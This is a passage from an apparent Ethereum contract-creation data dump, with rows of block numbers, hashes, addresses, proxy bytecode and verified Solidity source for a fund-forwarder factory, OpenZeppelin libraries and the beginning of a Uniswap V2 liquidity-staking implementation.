this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,714	5dc57f8e8fae8ee8cc90dc6a19298e2b452f14b6234ac7bca40de7bdc09dda7e	36fbfa66c486d2e855ffbd4f09b66b21bc97d4738dadbb2b3f4aa7d9f142d210	5af239c0d236d96c334d9ca6b845a3ed6861eaf0	758ed0650bdf2ac3bf4a48440c3eb2f6d2bb42a5	811e5a62a261781934e9be53bf719c983ed19068	608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1	19,499,715	3d2c184aeb3fb02ddba86ebde97bffd5667dfbcb8b328c3f64b20baf4db29f9b	f3ea8642c587fff011d5132925ddd85ea397d4de92a8f0338c3e915cf2a25335	d2c82f2e5fa236e114a81173e375a73664610998	ffa397285ce46fb78c588a9e993286aac68c37cd	1d2796c721bc45d02ea69c1d2246740c2450b2a4	3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3	pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /* * Contract that exposes the needed erc20 token functions / abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 \|\| abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /* * Contract that will forward any incoming Ether to the creator of the contract * / contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /* * Initialize the contract, and sets the destination address to that of the creator / function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /* * Modifier that will execute internal code block only if the sender is the parent address / modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /* * Modifier that will execute internal code block only if the contract has not been initialized yet / modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /* * Default function; Gets called when data is sent but does not match any other function / fallback() external payable { flush(); } /* * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address / receive() external payable { flush(); } /* * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract / function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /* * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1	19,499,716	5389288a2e2321f1e0066ad0ac6fb4ddfe095f8654447b980b4d8b2db021f5e7	1c8f8f82ad8534323d4c5c963f36492ded4d24152c0907104e65b20a06bbad7a	ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a	46950ba8946d7be4594399bcf203fb53e1fd7d37	1a5c4b7d81e580f83aa5c3a559ae0da26c47c9d7	3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
1	19,499,716	5389288a2e2321f1e0066ad0ac6fb4ddfe095f8654447b980b4d8b2db021f5e7	fe7b7156da28ce9d9b82250b4da79964f147f1eb584143e21cb4ff23667bcaec	feec50850683ff46b82a54729ec0b833372465be	aa2f7de14821a795043ab62f2f983a02926c88ef	3138fae84a252723c10d0d4a375a2973fa444aef	3d602d80600a3d3981f3363d3d373d3d3d363d7346e125a854e2408f23515da01e01d8e55c8c48b95af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7346e125a854e2408f23515da01e01d8e55c8c48b95af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "@openzeppelin/contracts/security/ReentrancyGuard.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/*\n @dev Contract module that helps prevent reentrant calls to a function.\n \n Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n \n Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n \n TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n /\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /\n @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n /\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n}\n" }, "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n \n Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n /\ninterface IERC20Permit {\n /\n @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n \n IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n \n Emits an {Approval} event.\n \n Requirements:\n \n - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n \n For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n /\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /\n @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n \n Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n /\n function nonces(address owner) external view returns (uint256);\n\n /\n @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n /\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n" }, "@openzeppelin/contracts/token/ERC20/IERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 standard as defined in the EIP.\n /\ninterface IERC20 {\n /\n @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n \n Note that `value` may be zero.\n /\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /\n @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n /\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /\n @dev Returns the amount of tokens in existence.\n /\n function totalSupply() external view returns (uint256);\n\n /\n @dev Returns the amount of tokens owned by `account`.\n /\n function balanceOf(address account) external view returns (uint256);\n\n /\n @dev Moves `amount` tokens from the caller's account to `to`.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transfer(address to, uint256 amount) external returns (bool);\n\n /\n @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n \n This value changes when {approve} or {transferFrom} are called.\n /\n function allowance(address owner, address spender) external view returns (uint256);\n\n /\n @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n \n Emits an {Approval} event.\n /\n function approve(address spender, uint256 amount) external returns (bool);\n\n /\n @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/\n @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n /\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /\n @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n \n Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n /\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) \|\| (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /\n @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n /\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary Address {\n /\n @dev Returns true if `account` is a contract.\n \n [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n \n Among others, `isContract` will return false for the following\n * types of addresses:\n \n - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n \n [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n \n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n /\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n \n _Available since v4.8._\n /\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /\n @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "contracts/UniV2LPETHImplementation.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\ninterface IUniV2Router {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n}\n\ninterface IYieldManager {\n function setAffiliate(address client, address sponsor) external;\n function getUserFactors(\n address user,\n uint typer\n ) external view returns (uint, uint, uint, uint);\n\n function getAffiliate(address client) external view returns (address);\n}\n\ncontract UniV2LPETHImplementation is ReentrancyGuard {\n event Staked(address indexed staker, uint amountA, uint amountB);\n event Unstaked(address indexed spender, uint amountA, uint amountB);\n event NewOwner(address indexed owner);\n event SponsorFee(address indexed sponsor, uint amount);\n event MgmtFee(address indexed factory, uint amount);\n event ERC20Recovered(address indexed owner, uint amount);\n\n event LPStake(uint amount);\n event LPWithdraw(uint amount);\n event LPReStake();\n event LPGetRewards();\n\n using SafeERC20 for IERC20;\n address public owner;\n IUniV2LPFactory public factoryAddress;\n\n // only owner modifier\n modifier onlyOwner {\n _onlyOwner();\n _;\n }\n\n // only owner view\n function _onlyOwner() private view {\n require(msg.sender == owner \|\| msg.sender == address(factoryAddress), \"Only the contract owner may perform this action\");\n }\n\n constructor() {\n // Don't allow implementation to be initialized.\n owner = address(1);\n }\n\n function initialize(\n address owner_,\n address factoryAddress_\n ) external\n {\n require(owner == address(0), \"already initialized\");\n require(factoryAddress_ != address(0), \"factory can not be null\");\n require(owner_ != address(0), \"owner cannot be null\");\n\n owner = owner_;\n factoryAddress = IUniV2LPFactory(factoryAddress_);\n\n emit NewOwner(owner);\n }\n\n // we need approval token a and b before doing it\n function addLiquidityETH(\n uint amountTokenDesired,\n uint deadline\n )\n external payable nonReentrant {\n require(amountTokenDesired > 0, \"Cannot stake 0 token\");\n require(msg.value > 0, \"Cannot stake 0 eth\");\n\n address stakingTokenA = IUniV2LPFactory(factoryAddress).getStakingTokenA();\n\n 